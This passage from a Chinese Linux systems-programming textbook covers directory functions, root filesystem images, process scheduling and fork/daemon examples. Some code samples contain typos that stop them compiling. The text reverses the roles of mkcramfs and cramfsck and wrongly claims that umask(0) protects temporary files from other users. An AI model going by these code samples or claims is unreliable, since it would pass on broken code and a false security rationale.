如果定义了_BSD_SOURCE或_XOPEN_SOURCE_EXTENDED，也可以使用getwd()函数来获取当前工作目录。该函数的原型为：



#include＜unistd.h＞

char*getwd(char*buf);



该函数不使用malloc()函数来分配空间，参数buf指向的空间的大小为PATH_MAX，该函数返回工作目录绝对路径字符串的前PATH_MAX个字符。

用户登录到Linux系统时，其当前工作目录通常是口令文件（/etc/passwd）中该用户登录项的第6个字段。可以用cat/etc/passwd命令来查看该文件的内容。


15.3.3　设置工作目录

chdir()和fchdir()函数可用来修改当前进程中的工作目录，函数声明如下：



#include＜unistd.h＞

int chdir(const char*path);

int fchdir(int fd);



chdir()用来将当前工作目录改为由参数path指定的目录，fchdir()用来将当前工作目录改为由参数fd指定的目录。path指向目录的路径名，要使某目录成为当前工作目录，进程必须具备对该目录的执行（搜索）访问权限。这两个函数如果执行成功将返回值0，否则返回-1，并且设置errno以指明错误。


15.3.4　获取目录信息

opendir()函数用来打开一个目录，readdir()函数用来读取目录中的内容，closedir()函数用来关闭一个已经打开的目录。

1.opendir()函数

该函数的原型为：



#include＜sys/types.h＞

#include＜dirent.h＞

DIR*opendir(const char*name);



该函数的作用是打开一个由参数name指定的目录，并且建立一个目录流，目录流的形态为DIR*。如果成功，会返回一个指向用来读取目录实体的DIR结构，如果失败，则会返回一个NULL指针，错误代码存于errno中。

2.readdir()函数

该函数的原型为：



#include＜sys/types.h＞

#include＜dirent.h＞

struct dirent*readdir(DIR*dirp);



readdir()函数用来从参数dir所指向的目录中读取目录项信息，返回一个struct dirent结构的指针。结构dirent定义如下：



struct dirent

{

ino_t d_ino;/*d_ino为此目录进入点的inode*/

ff_t d_off;/*d_off为目录文件开头至此目录进入点的位移*/

signed short int d_reclen;

unsigned char d_type;

har d_name[256];

};



函数执行成功返回该目录下一个文件的信息，如果该目录下已经没有文件信息可供读取，返回NULL。

如果同时有其他的进程正在创建或是删除目录中的文件，readdir浏览并不会列出目录中的所有文件。

3.closedir()

该函数的原型为：



#include＜sys/types.h＞

#include＜dirent.h＞

int closedir(DIR*dir);



closedir()函数关闭一个目录流，并且释放与其相关的资源。如果成功则会返回0，否则返回-1，错误原因存于errno中。

【例15-6】目录操作

编写程序，用目录操作函数实现对目录的操作。

[1]在Vi中创建一个新工程文件，命名为"example15_6.c"。

[2]在"example15_6.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜stdlib.h＞

#include＜sys/types.h＞

#include＜unistd.h＞

#include＜dirent.h＞

void print_usage(void);

void print_usage(void)

{

printf("Usage:test dirname\n");

}

int main(int argc,char*argv[])

{

DIR*dp;

struct dirent*filename;

if(argc＜2)

{

print_usage();

exit(1);

}

dp=opendir(argv[1]);

if(!dp)

{

fprintf(stderr,"open directory error\n");

return 0;

}

while(filename=readdir(dp))

{

printf("filename:%-10s\td_info:%ld\t d_reclen:%us\n",

filename-＞d_name,filename-＞d_ino,filename-＞d_reclen);

}

closedir(dp);

return 0;

}



[3]使用GCC编译并运行程序，结果如图15-13所示。
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图　15-13　对目录的操作

错误值及与其相关的意义列在头文件errno.h中，包括EPERM：操作不允许；ENOENT：没有这个文件或目录；EINTR：系统调用中断；EIO：I/O错误；EBUSY：设备或资源忙；EEXIST：文件存在；EINVAL：参数不可用；EMFILE：打开的文件太多；ENODEV：没有这个设备；EIS-DIR：是一个目录；ENOTDIR：不是一个目录。

当发生错误时，有一对十分有用的函数来报告错误：strerror()与perror()。strerror()函数将一个错误号映射为一个描述错误类型的字符串。这对于记录错误条件十分有用。其函数原型如下：



#include＜string.h＞

char*strerror(int errnum);



strerror()函数根据参数errnum提供的错误码获取一个描述错误信息的字符串。函数的返回值为指向该字符串的指针，errnum的值通常就是errno。

perror()函数也将所报告的errno映射为一个字符串，并且打印到标准错误流。其函数原型如下：



#include＜stdio.h＞

void perror(const char*message);



perror()打印错误信息到stderr,stderr在Linux中通常是指屏幕或命令行终端。调用perror()时，如果参数message是一个空指针，perror根据errno打印出对应的错误提示信息。


15.4　制作根文件系统

根文件系统是Linux系统中不可缺少的组件，没有根文件系统，Linux系统就不能正确地运行。Linux的根文件系统具有非常独特的特点，就其基本组成来说，Linux的根文件系统应该包括支持Linux系统正常运行的基本内容，包含着系统使用的软件和库。所谓制作根文件系统，就是创建各种目录，并且在里面创建各种文件。本节介绍Linux根文件系统的制作，使读者能够较快地理解如何在一个目标系统中建立起操作系统的根文件系统，加快开发流程。


 15.4.1　Linux根文件系统的制作

Linux根文件系统的基本结构和内容如图15-1所示。嵌入式Linux系统的根文件系统的制作步骤如下。

1.确定根文件系统的目录结构

在嵌入式Linux系统中，必须有的目录包括：/bin、/dev、/etc/、/lib、/proc、/sbin和/usr，其他目录都是可选的。

2.在根文件系统中的各个目录添加必要的内容

1）基本程序运行所需的库函数glibc。

2）内核映像、内核配置文件等。

3）内核模块。

4）设备文件。在Linux系统中，所有的对象都被视为文件。在根文件系统中，所有的设备文件都放在/dev目录中。对于各个不同的Linux版本，一般都为其/dev目录设置好了内容。在嵌入式系统中，目标板的/dev目录只需要一些必备的条目及符号链接就可以满足系统的运行。基本的/dev条目如表15-5所示。
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使用mknod命令创建/dev中的条目，代码如下：



#mknod-m 600 mem c 1 1

#mknod-m 666 null c 1 3

……



使用ln-s命令创建符号链接，链接名称和链接对象如表15-6所示。
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5）主要的系统应用程序。标准的Linux工作站和服务器发行套件中都配备了数以千计的二进制命令文件，并且不同的发行套件提供的命令集还各不相同。嵌入式Linux系统中不需要这么多的二进制文件。

一般有两种方法来定制嵌入式Linux系统中的二进制命令文件：一是挑选若干标准命令；二是尽可能把命令集浓缩成仅仅实现必要功能的极少数应用程序（如BusyBox）。

BusyBox是标准Linux工具的一个单个可执行实现。BusyBox包含了一些简单的工具，例如cat和echo，还包含了一些更大、更复杂的工具，例如grep、find、mount以及telnet（不过它的选项比传统的版本要少）。

6）init程序。内核初始化的最后一个动作是启动init程序。init程序启动后会根据inittab文件的内容启动指定的系统服务。

大多数Linux使用的init跟System V的init类似，嵌入式Linux系统可以用BusyBox来提供init的功能。用户需要定制目标平台的inittab、rc.sysinit、rc等文件。


15.4.2　制作根文件系统的镜像

根文件系统的目录结构和内容都准备好了之后，还需要把它制成一个镜像文件，以便于将其下载到开发板上。嵌入式系统常用的文件系统介绍如下。

1.cramfs（compressed rom file system）

cramfs是一个压缩式的只读文件系统，它并不需要一次性地将文件系统中的所有内容都解压缩到内存中，而只是在系统需要访问某个位置的数据的时候，马上计算出该数据在cramfs中的位置，将其实时地解压缩到内存中，然后通过对内存的访问来获取文件系统中需要读取的数据。

cramfs中的解压缩以及解压缩之后的内存中的数据存放位置都是由cramfs文件系统本身进行维护的，用户并不需要了解具体的实现过程，因此这种方式增强了透明度，对开发人员来说，既方便又节省了存储空间。

cramfs拥有以下一些特性：采用实时解压缩方式，但解压缩的时候有延迟。cramfs的数据都是经过处理、打包的，对其进行写操作有一定困难。所以cramfs不支持写操作，这个特性刚好适合嵌入式应用中使用Flash存储文件系统的场合。在cramfs中，文件最大不能超过16MB。支持组标识（gid），但是mkcramfs只将gid的低8位保存下来，因此只有这8位是有效的。支持硬链接。但是cramfs并没有完全处理好，硬链接的文件属性中，链接数仍然为1。cramfs的目录中，没有“.”和“..”这两项。因此，cramfs中的目录的链接数通常也仅有一个。

cramfs中不会保存文件的时间戳（timestamp）信息。当然，正在使用的文件由于inode保存在内存中，因此其时间可以暂时地变更为最新时间，但是不会保存到cramfs文件系统中去。

当前版本的cramfs只支持PAGE_CACHE_SIZE为4096的内核。因此，如果发现cramfs不能正常读写的时候，可以检查一下内核的参数设置。

使用cramfs工具建立根文件系统的cramfs镜像。cramfs工具主要包括两个：mkcramfs和cramfsck，其中cramfsck工具是用来创建cramfs文件系统的，而mkcramfs工具则用来进行cramfs文件系统的释放以及检查。

下面是mkcramfs的命令格式：



mkcramfs[-h][-e edition][-i file][-n name]dirname outfile



·-h：显示帮助信息。

·-e edition：设置生成的文件系统中的版本号。

·-i file：将一个文件映像插入这个文件系统中（只能在Linux 2.4.0以后的内核版本中使用）。

·-n name：设定cramfs文件系统的名字。

·dirname：指明需要被压缩的整个目录树。

·outfile：最终输出的文件。

cramfsck的命令格式如下：



cramfsck[-hv][-x dir]file



·-h：显示帮助信息。

·-x dir：释放文件到dir所指出的目录中。

·-v：输出信息更加详细。

·file：希望测试的目标文件。

2.jffs2文件系统

jffs文件系统是瑞典Axis通信公司开发的一种基于Flash的日志文件系统，它在设计时充分考虑了Flash的读写特性和用电池供电的嵌入式系统的特点，在这类系统中必须确保在读取文件时，如果系统突然断电，其文件的可靠性不受到影响。jffs2是由Red Hat公司开发的专门面向Flash设备的日志文件系统。这个系统建立在Axis通信公司的jffs的基础上。jffs2较之jffs原型的改进包括：

·提高了系统的磨损性能以及废物收集功能。

·提高了压缩性能。

·提高了RAM对系统内存要求的响应能力。

·改进了对并发过程的支持，并支持将Flash故障挂起。

·支持硬链接。

制作jffs2镜像文件，需要使用mkfs.jffs2工具。



#mkfs.jffs2-r rootfs-o rootfs.jffs2-e 0x4000--pad=0x500000-s 0x200-n



即可生成rootfs.jffs2。该命令中各参数的意义如下：

·-r：指定要做成image的目录名。

·-o：指定输出image的文件名。

·-e：每一块要擦除的block size，默认是64KB。要注意，不同flash，的bock size会不一样。

·-pad（-p）：用16进制来表示所要输出文件的大小，也就是rootfs.jffs2的size。

根文件系统的镜像文件可以通过如网络、串口等多种方式下载到目标平台。


15.5　实践拓展

1.查找日志文件的方法

一般来说，系统日志文件几乎都保存在/var/子目录，如果想让所有的应用程序都把日志文件集中存放到/var/子目录下，需要依次对每一个应用程序的配置文件进行编辑。其次，/var/子目录通常是在一个独立于根目录（/）的文件系统里，这有助于防止日志文件迅速变大并占满可用空间，避免操作系统和应用程序受到影响。利用find命令把日志文件查找出来具体做法是：先切换到根目录下，然后以根用户（root）身份执行下面这条命令可以把最近被修改过的文件全部找出来。



find -type f -mtime -5 -print|grep -v proc|grep -v lock



2.Linux下的文件有时间属性

Linux下的文件有3个时间属性，分别是：

·access time(atime)：文件的存取时间。

·modification time(mtime)：文件内容修改的时间。

·change time(ctime)：文件属性（比如权限）修改的时间。一般mtime改变时ctime也会改变。


15.6　思考与练习

一、概念题

1.使用man ls命令查看ls命令的帮助信息，了解其各个相关选项。

2.Linux根目录下的主要目录有哪些，各是什么含义？

二、操作题

1.从键盘读入10个浮点数，以二进制形式存到文件中，再从文件中读出显示在屏幕上。

2.求出1～100间的素数（只能被1和自身整除的数），并顺序写入文件a.txt中。

3.把文本文件a.txt复制到文本文件b.txt中，要求仅复制a.txt中的英文字符。


第16章　进程

本章要点：

进程的基本概念

进程控制

进程间通信


 16.1　Linux进程

Linux系统的所有任务在内核的调度下在CPU中执行，Linux在很多时候将任务和进程的概念合在一起。进程是可并发执行的程序在一个数据集合上的运行过程。和程序要包含指令和数据一样，进程也包含程序计数器和所有CPU寄存器的值，同时它的堆栈中存储着如子程序参数、返回地址以及变量之类的临时数据。当前的执行程序，或者说进程，包含着当前处理器中的活动状态。Linux是一个多处理操作系统。进程具有独立的权限与职责。如果系统中某个进程崩溃，它不会影响到其余的进程。每个进程运行在其各自的虚拟地址空间中，通过核心控制下的可靠通信机制，它们之间才能发生联系。

Linux是一个多用户多任务的操作系统，也就是说，在同一时间内，可以有多个进程同时执行。Linux使用了一种称为“进程调度”（process scheduling）的手段来实现多进程同时执行。首先，为每个进程指派一定的运行时间，这个时间通常很短，短到以毫秒为单位，然后依照某种规则，从众多进程中挑选一个投入运行，其他的进程暂时等待，当正在运行的进程时间耗尽，或执行完毕退出，或因某种原因暂停时，Linux就会重新进行调度，挑选下一个进程投入运行。因为每个进程占用的时间片都很短，从使用者的角度来看，就好像多个进程同时运行一样。


 16.1.1　Linux进程概述

在Linux中，每个进程在创建时都会被分配一个数据结构，称为进程控制块（Process Con-trol Block,PCB）。PCB中包含了很多重要的信息，供系统调度和进程本身执行使用，其中最重要的莫过于进程ID（process ID）了，进程ID也被称作进程标识符，是一个非负的整数，在Linux操作系统中唯一地标志一个进程。一个或多个进程可以合起来构成一个进程组（process group），一个或多个进程组可以合起来构成一个会话（session）。这样就有了对进程进行批量操作的能力，比如通过向某个进程组发送信号来实现向该组中的每个进程发送信号。

每个进程除了进程ID外还有一些其他标识信息，它们可以通过相应的函数获得。这些函数的声明在unistd.h头文件中，表16-1是这些函数的说明。用户ID和组ID的相关概念如下所示。
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·实际用户ID(uid)：标识运行该进程的用户。

·有效用户ID(euid)：标识以什么用户身份来运行进程。

·实际组ID(gid)：它是实际用户所属的组的ID。

·有效组ID(egid)：有效用户所属的组的ID。

【例16-1】获取进程ID

本例使用函数getpid()、getppid()来获得进程的ID，使用getpriority()来获得进程的优先级。

[1]在Vi中创建一个新工程文件，命名为"example16_1.c"。

[2]在"example16_1.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜sys/resource.h＞

#include＜unistd.h＞

int main()

{

printf("The process ID is%d\n",getpid());/*本进程*/

printf("The parent process ID is%d\n",getppid());/*父进程*/

printf("The process priority is:%d\n",getpriority(PRIO_PROCESS,getpid()));

return 0;

}



[3]用GCC编译运行程序，结果如图16-1所示。
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图　16-1　获取进程ID例16-1的运行结果

1.Linux进程的组成

Linux进程是由三部分组成：代码段、数据段和堆栈段。如图16-2所示。
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图　16-2　Linux进程的组成

（1）代码段

代码段存放程序的可执行代码。

（2）数据段

数据段存放程序的全局变量、常量、静态变量。

（3）堆栈段

堆栈段中的堆用于存放动态分配的内存变量，栈用于函数的调用，它存放着函数的参数、函数内部定义的局部变量。

2.Linux进程的状态

Linux进程主要有如下几种状态。

·可运行状态（TASK_RUNNING）：进程正在运行或处于就绪状态，当系统资源可用进程就进入准备运行状态。

·可中断等待状态（TASK_INTERRUPTIBLE）：进程正在等待某个事件发生或等待某种资源的状态。在等待中可被信号或定时器唤醒。

·不可中断等待状态（TASK_UNINTERRUPTIBLE）：进程正在等待某个事件发生或等待某种资源的状态。在等待中不能被信号或定时器唤醒，必须等到等待的事件发生。

·暂停状态（TASK_STOPPED）：此时进程暂时停止运行，接受某种处理。

·僵死状态（TASK_ZOMBIE）：表示进程结束但尚未消亡的一种状态。

当进程收到SIGSTOP、SIGSTP、SIGTIN、SIGTOU等信号后停止运行。查看进程当前的状态可以使用ps命令。使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等。ps命令格式如下：



ps[选项]



下面对命令选项进行说明：

·-e：显示所有进程。

·-f：全格式。

·-h：不显示标题。

·-l：长格式。

·-w：宽输出。

·-a：显示终端上的所有进程，包括其他用户的进程。

·-r：只显示正在运行的进程。

·-x：显示没有控制终端的进程。

·-u：以用户为主的格式来显示程序状况。

下面显示了ps命令执行的部分结果。
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上述ps命令显示的数据共分为4个字段，它们的说明如下：

·PID：进程标识（Process ID），系统就是凭这个编号来识别及处理此进程的。

·TTY：Teletypewriter，登录的终端机编号。

·TIME：此进程所消耗的CPU时间。


16.1.2　Linux进程调度

中央处理器（CPU）是整个计算机系统的核心资源，在多进程的操作系统中，进程数往往多于处理器数，这将导致各进程相互争夺处理器，进程调度对系统功能的实现及各个方面的性能都有着决定性的影响，其实质就是把处理器公平、合理、高效地分配给各个进程。调度是实现多任务并发执行的必要手段，不同的操作系统有不同的调度目标。

1.调度方式

Linux中的每个进程都分配有一个相对独立的虚拟地址空间。该虚拟地址空间分为两部分：用户空间包含了进程本身的代码和数据；内核空间包含了操作系统的代码和数据。

Linux采用“有条件的可剥夺”调度方式。对于普通进程，当其时间片结束时，调度程序挑选出下一个处于TASK_RUNNING状态的进程作为当前进程（自愿调度）。对于实时进程，若其优先级足够高，则会从当前的运行进程中抢占CPU成为新的当前进程（强制调度）。发生强制调度时，若进程在用户空间运行，就会直接被剥夺CPU；若进程在内核空间运行，即使迫切需要其放弃CPU，也仍要等到从它系统空间返回的前夕才被剥夺CPU。

2.三种调度策略

1）SCHED_OTHER：这是普通的用户进程，进程的默认类型，采用该策略时，系统为处于TASK_RUNNING状态的每个进程分配一个时间片。当时间片用完时，进程调度程序再选择下一个优先级相对较高的进程，并授予CPU使用权。

2）SCHED_FIFO：这是一种实时进程，采用该策略时，各实时进程按其进入可运行队列的顺序依次获得CPU。除了因等待某个事件主动放弃CPU，或者出现优先级更高的进程而剥夺其CPU之外，该进程将一直占用CPU运行。

3）SCHED_RR：这也是一种实时进程，采用该策略时，各实时进程按时间片轮流使用CPU。当一个运行进程的时间片用完后，进程调度程序停止其运行并将其置于可运行队列的末尾。

3.进程调度信息

调度程序利用这部分信息决定系统中哪个进程最应该运行，并结合进程的状态信息保证系统运转的公平和高效。这一部分信息通常包括进程的类别（普通进程还是实时进程）、进程的优先级等。如表16-2所示。
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4.Linux进程描述符——task_struct结构

为了管理进程，操作系统必须对每个进程所做的事情进行清楚地描述，为此，操作系统使用数据结构来代表处理不同的实体，这个数据结构就是通常所说的进程描述符或进程控制块，在Linux系统中，这就是task_struct结构，在include\linux\sched.h文件中定义。每个进程都会被分配一个task_struct结构，它包含了这个进程的所有信息，在任何时候操作系统都能跟踪这个结构的信息，这个结构是Linux内核汇总最重要的数据结构，这个结构的部分源代码及其注释如下。



/*进程描述符task_struct*/

struct task_struct

{

volatile long state;/*state=-1,不能运行;state=0,运行;state＞0,停止*/

unsigned long flags;/*进程标志*/

int sigpending;/*进程上是否有待处理的信号*/

mm_segment_t addr_limit;/*进程地址空间,用户进程地址空间:0-0xBFFFFFFF;内核进程地址空间:0-0xFFFFFFFF*/

struct exec_domain*exec*domain;

volatile long need_resched;/*调度标志,表示该进程是否需要重新调度,若非0,则当从内核态返回到用户态,会发生调度*/

unsigned long ptrace;

int lock_depth;/*锁深度*/

long counter;/*进程可运行的时间片*/

long nice;/*进程的基本时间片*/

unsigned long policy;/*进程的调度策略有三种,实时进程:SCHED_FIFO、SCHED_RR;分时进程:SCHED_OTHER*/

struct mm_struct*mm;/*进程内存管理信息*/

int processor;/*若进程不在任何CPU上运行,cpus_runnable的值是0,否则是1。*/

unsigned long cpus_runnable,cpus_allowed;

struct list_head run_list;/*指向运行队列的指针*/

unsigned long sleep_time;/*进程的睡眠时间*/

struct task_struct*next_task，*prev_task;/*用于将系统中所有的进程连成一个双向循环链表,其根是init_task*/

struct mm_struct*active_mm;

struct list_head local_pages;/*指向本地页面*/

unsigned int allocation_order,nr_local_pages;/*任务状态*/

struct linux_binfmt*binfmt;/*进程所运行的可执行文件的格式*/



……

};



task_struct数据结构内部成员的关系如图16-3所示。
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图　16-3　task_struct的数据结构

内核函数goodness()用来衡量一个处于可运行状态的进程值得运行的程度，该函数给每个处于可运行状态的进程赋予一个权值（weight），goodness()函数主体如下。



Static inline goodness(struct task_struct*pint this_cpu,struct mm_struct*this_mm)

{

int weight;/*权值*/

wight=-1;

if(p-＞policy＆SCHED_YIELD)

goto out;/*系统调用SCHED_YIELD表示为“礼让”进程,其权值为-1*/

if(p-＞policy==SCHED_OTHER)

{

weight=p-＞counter;/*返回权值为进程的counter值*/

/*如果当前进程的counter为0，则表示当前进程的时间片已用完，直接返回*/

if(!weight)

goto out;

#ifdef CONFIG_SMP

if(p-＞processor==this_cpu)

weight+=PROC_CHANGE_PENALTY;

#endif

/*对进程权值进行微调，如果进程的内存空间使用当前正在运行的进程的内存空间，则权值额外加1*/

if(p-＞mm==this_mm||!p-＞mm)

weight+=1;

/*将权值加上20与进程优先级nice的差。普通进程的权值主要由counter值和nice值组成*/

weight+=20-p-＞nice;

goto out;

}

/*对实时进程进行处理，返回权值为rt_priority+1000，确保优先级高于普通进程*/

weight=1000+p-＞rt_priority;

out:

return weight;/*返回权值*/

};



从goodness()函数可以看出，对于普通进程，其权值主要取决于剩余的时间配额和nice两个因素。nice的规定取值范围为19～-20，只有特权用户才能把nice值设为负数，而表达式（20-p-＞nice）掉转方向成为1～40。所以，综合的权值在时间片尚未用完时基本上是两者之和。如果是内核进程，或者其用户空间与当前进程相同，则权值将额外加1作为奖励。对于实时进程，其权值为1000+p-＞rt_priority，当p-＞counter达到0时该进程将移到队列的尾部，但其优先级仍不少于1000。可见当有实时进程就绪时，普通进程是没机会运行的。

由此可以看出，通过goodness()函数，Linux从优先考虑实时进程出发，实现了多种调度策略的统一处理。

5.进程调度程序

Linux的进程调度由调度程序schedule()完成，通过对schedule()的分析能更好理解调度的过程。schedule()首先判断当前运行进程是否具有SCHED_RR标志，本文取一部分加以分析。



if(prev-＞policy==SCHED_RR)/*如果是轮转调度,先作goto特殊处理*/

goto move_rr_last;

……

move_rr_last:

if(!prev-＞counter){/*如果counter减至0*/

prev-＞counter=NICE_TO_TICKS(prev-＞nice);

move_last_runqueue(prev);

goto move_rr_back;



prev-＞counter代表当前进程的运行时间配额，其值逐渐减小。一旦减至0，就要从可执行队列runqueue中当前的位置移到末尾，宏操作NICE_TO_TICKS根据系统时钟的精度将进程的优先级别换算成可以运行的时间配额，即恢复其初始的时间配额。把该进程移到末尾意味着：如果没有权值更高的进程，但是有一个权值与此相同的进程存在，那么，那个权值相同而排列在前的进程就会被选中，从而顾全了大局。

接下来调度函数查询当前运行进程的状态是否改变：



move_rr_back:

switch(prev-＞state)

{

/*查看进程当前的状态*/

case TASK_INTERRUPTIBLE:

if(signal pending(prev))

{

/*判断运行期间是否收到信号*/

prev-＞state=TASK_RUNNING;

break;

}

default:/*当前运行进程处于非TASK_RUNNING状态*/

del_from_runqueue(prev);

case TASK_RUNNING:

}

prev-＞need_resched=0;



如果发现进程处于TASK_INTERRUPTIBLE状态且有信号等待处理，则内核将其状态设为TASK_RUNNING，让其处理完信号，接下来仍有机会获得CPU；如果没有信号等待，则将其从可运行队列中撤下来；如果处于TASK_RUNNING状态，则继续进行。然后，将prev-＞need_resched的值恢复成0，因为所需的调度已经在运行。



repeat schedule():

next=idle_task(this_cpu);/*next指向最佳候选进程*/

c=-1000;/*进程的综合权值,初始时是0号进程,-1000是可能的最低值*/

if(prev-＞state==TASK_RUNNING)

goto still_running;

still_running_back:

list_for_each(tmp,＆runqueue_head)

{

p=list_entry(tmp,struct task_struct,run_list);

if(can_schedule(p,this_cpu))

{

/*计算p指向的进程的权值*/

int weight=goodness(p,this_cpu,prev-＞active_mm);

if(weight＞c)/*比较权值大小*/

c=weight,next=p;

}

}



调度之前，将待调度的进程默认为0号进程，权值置为-1000。接下来内核遍历可执行队列run queue中的每个进程，为每个进程通过goodness()函数计算出它当前所具有的权值，然后与当前的最高值c相比。如果两个进程具有相同权值的话，那么排在前面的进程胜出。



still_running:

c=goodness(prev,this_cpu,prev-＞active_mm);

next=prev;

goto still_running_back;



上面的代码表明，如果当前进程想要继续运行，那么在挑选进程时以当前进程此刻的权值开始。这意味着，相对于权值相同的其他进程来说，当前进程优先。若发现当前已选进程的权值为0，则需要重新计算各个进程的时间配额，schedule()将转入recalculate部分。


16.1.3　进程的内存映像

进程的内存映像，指的是内核在内存中如何存放可执行程序文件。这里的可执行程序文件和内存映像是有区别的，其区别体现在以下方面：

·可执行程序是位于硬盘中的，而内存映像位于内存中。

·可执行程序没有堆栈，因为只有当程序被加载到内存上的时候才会分配相应的堆栈。

·可执行程序是静态的，因为它还没运行，但是内存映像是动态的，数据是随着运行过程改变的。

Linux下的内存映像布局一般有如下几个段（从低地址到高地址）：

·代码段：即二进制机器代码，代码段是只读的，可以被多个进程共享。

·数据段：存储已初始化的变量，包括全局变量和初始化了的静态变量。

·未初始化数据段：存储未被初始化的静态变量，也就是BSS段。

·堆：用于存放动态分配的变量。

·栈：用于函数调用，保存函数返回值、参数等。

Linux下程序映像的一般布局如图16-4所示。
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图　16-4　程序映像的布局


16.2　进程控制

在Linux的进程控制中主要涉及创建进程、创建守护进程、退出进程、获得进程ID、改变进程的优先级、执行新程序和等待进程结束等。


 16.2.1　创建进程

在Linux中主要提供了fork()、vfork()的进程创建方法，分别介绍如下。

1.fork()函数

系统调用函数fork()是创建一个新进程的方法，在命令行输入"man fork"可以获得fork函数的原型：



#include＜sys/types.h＞

#include＜unistd.h＞

pid_t fork(void);



成功调用fork()函数后，当前进程实际已经分为两个进程，一个是原来的父进程，另一个是刚刚创建的子进程。fork()函数有两个返回值，一个是父进程调用fork()函数后的返回值，该返回值是刚刚创建的子进程的ID；另一个是子进程中fork()函数的返回值0。fork()函数返回两次的前提是进程创建成功，如果进程创建失败，则返回-1。

【例16-2】创建进程

要求使用fork()函数来创建进程。

[1]在Vi中创建一个新工程文件，命名为"example16_2.c"。

[2]在"example16_2.c"中创建如下所示代码。



#include＜sys/types.h＞

#inlcude＜unistd.h＞

int main(void)

{

pid_t pid;

pid=fork();

if(pid==-1)

{

printf("Creat process error!");

exit(1);

}

else if(pid==0)

{

printf("This is the child process,the process ID is%d\n",getpid());

}

else

{

printf("This is the parent process,the process ID is%d\n",getppid());

}

return 0;

}



[3]用GCC编译并运行程序，结果如图16-5所示。
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图　16-5　用fork()函数创建进程

2.vfork()函数

vfork()函数的调用方法与fork()函数完全相同，也是用来创建一个新进程。如果进程创建成功，在父进程中返回子进程的进程号，在子进程中返回0；否则返回-1。



#include＜sys/types.h＞

#include＜unistd.h＞

pid_t vfork(void);



vfork()函数与fork()函数的区别如下：

·fork()要复制父进程的数据段；而vfork()则不需要完全复制父进程的数据段，在子进程没有调用exec()和exit()之前，子进程与父进程共享数据段。

·fork()不对父进程和子进程的执行次序进行任何限制；而在vfork()调用中，子进程先运行，父进程挂起，直到子进程调用了exec()或exit()之后，父进程和子进程的执行次序才不再有限制。

子进程会继承父进程的许多属性，主要包括用户ID、组ID、当前工作目录等。子进程和父进程还有一些不同的属性，如下所示：

·子进程有自己唯一的ID。

·fork()的返回值不同，父进程返回子进程的ID，子进程的则为0。

·不同的父进程ID。

·子进程共享父进程打开的文件描述符。

·子进程不继承父进程设置的文件锁。

·子进程不继承父进程设置的警告。


16.2.2　创建守护进程

Linux系统启动时往往需要启动很多系统服务程序，这些系统服务程序往往在后台运行，不受用户登录注销的影响，它们一直在运行着，这些服务程序被称为守护进程（daemon）。由于守护进程运行在后台，不可能向终端输出相关的运行信息，因此，日志系统是守护进程用于记录信息的重要手段。Linux的大多数服务器就是用守护进程的方式实现的。

下面用"ps axj"命令查看系统中的进程。参数a表示不仅列当前用户的进程，也列出所有其他用户的进程，参数x表示不仅列有控制终端的进程，也列出所有无控制终端的进程，参数j表示列出与作业控制相关的信息。
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凡是TPGID一栏写着-1的都是没有控制终端的进程，也就是守护进程。在Linux系统中，要编程实现一个守护进程必须遵守如下步骤。

[1]调用fork()函数创建子进程后，使父进程立即退出。这样，产生的子进程将变成孤儿进程，同时，所产生的新进程将变为在后台运行。

[2]调用setsid()函数，使得新创建的进程脱离控制终端，同时创建新的进程组，并成为该进程组的首进程。由于守护进程没有控制终端，而使用fork()函数创建的子进程继承了父进程的控制终端、会话和进程组，因此，必须创建新的会话，以脱离父进程的影响。Linux系统提供了setsid()函数用于创建新的会话。setsid()函数原型如下：



#include＜unistd.h＞

pid_t setsid(void);



函数调用成功则调用进程的会话ID，调用失败返回-1。

setsid()函数将创建新的会话，并使得调用setsid()函数的进程成为新会话的领头进程。调用setsid()函数的进程是新创建会话中的唯一的进程组，进程组ID为调用进程的进程号。setsid()函数产生这一结果还有个条件，即调用进程不是一个进程的领头进程。由于在第一步中调用fork()的父进程退出，使得子进程不可能是进程组的领头进程。该会话的领头进程没有控制终端与其相连。至此，满足了守护进程没有控制终端的要求。

[3]使用fork()函数产生的子进程将继承父进程的当前工作目录。当进程没有结束时，其工作目录是不能被卸载的。为了防止这种问题发生，守护进程一般会将其工作目录更改到根目录下（/目录）。

[4]关闭文件描述符，并重定向标准输入/输出和错误输出。新产生的进程从父进程继承了某些打开的文件描述符，如果不使用这些文件描述符，则需要关闭它们。守护进程是运行在系统后台的，不应该在终端有任何的输出信息。可以使用dup()函数将标准输入/输出和错误输出重定向到/dev/null设备上。

[5]将文件创建时使用的屏蔽字设置为0，很多情况下，守护进程会创建一些临时文件。出于安全性的考虑，往往不希望这些文件被别的用户查看。可以使用umask（0）将屏蔽字清零。

调用setsid()函数之前，当前进程不允许是进程组的领头进程，否则该函数返回-1。要保证当前进程不是进程组的领头进程，要先调用fork()再调用setsid()。fork()创建的子进程和父进程在同一个进程组中，进程组的领头进程必然是该组的第一个进程，所以子进程不可能是该组的第一个进程，在子进程中调用setsid()就不会有问题了。

【例16-3】创建守护进程

要求创建守护进程。

[1]在Vi中创建一个新工程文件，命名为"example16_3.c"。

[2]在"example16_3.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜sys/types.h＞

#include＜unistd.h＞

#include＜signal.h＞

#include＜sys/param.h＞

#include＜sys/stat.h＞

int init_daemon(void)

{

int pid;

int i;

if((pid=fork())＜0)

{

perror("Creat process error!")

exit(1);/*失败退出*/

}

else if(pid!=0)

exit(0);/*结束父进程*/

setsid();/*建立一个新进程组*/

if(pid=fork())

exit(0);

else if(pid＜0)

exit(1);

for(i=0;i＜NOFILE;++i)

close(i);

chdir("/tmp");/*改变工作目录到/tmp*/

umask(0);/*将文件屏蔽字设置为0*/

return 0;

}



[3]编写测试程序如下：



test.c

#include＜stdio.h＞

#include＜time.h＞

void init_daemon(void);

main()

{

FILE*fp;

time_t t;

init_daemon();/*初始化守护进程*/

while(1)

{

sleep(60);/*睡眠一分钟*/

if((fp=fopen("test.log","a"))＞=0)

{

fprintf(fp,asctime(localtime(＆t)));

fclose(fp);

}

}

}



[4]用GCC编译并运行程序，然后用"#ps-ef"命令查看进程，结果如图16-6所示。
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图　16-6　例16-3的运行结果

从输出可以发现，守护进程的各种特性满足要求。

Linux的大多数服务器就是用守护进程的方式实现的，如Internet服务器进程inetd、Web服务器进程http等。


16.2.3　退出进程

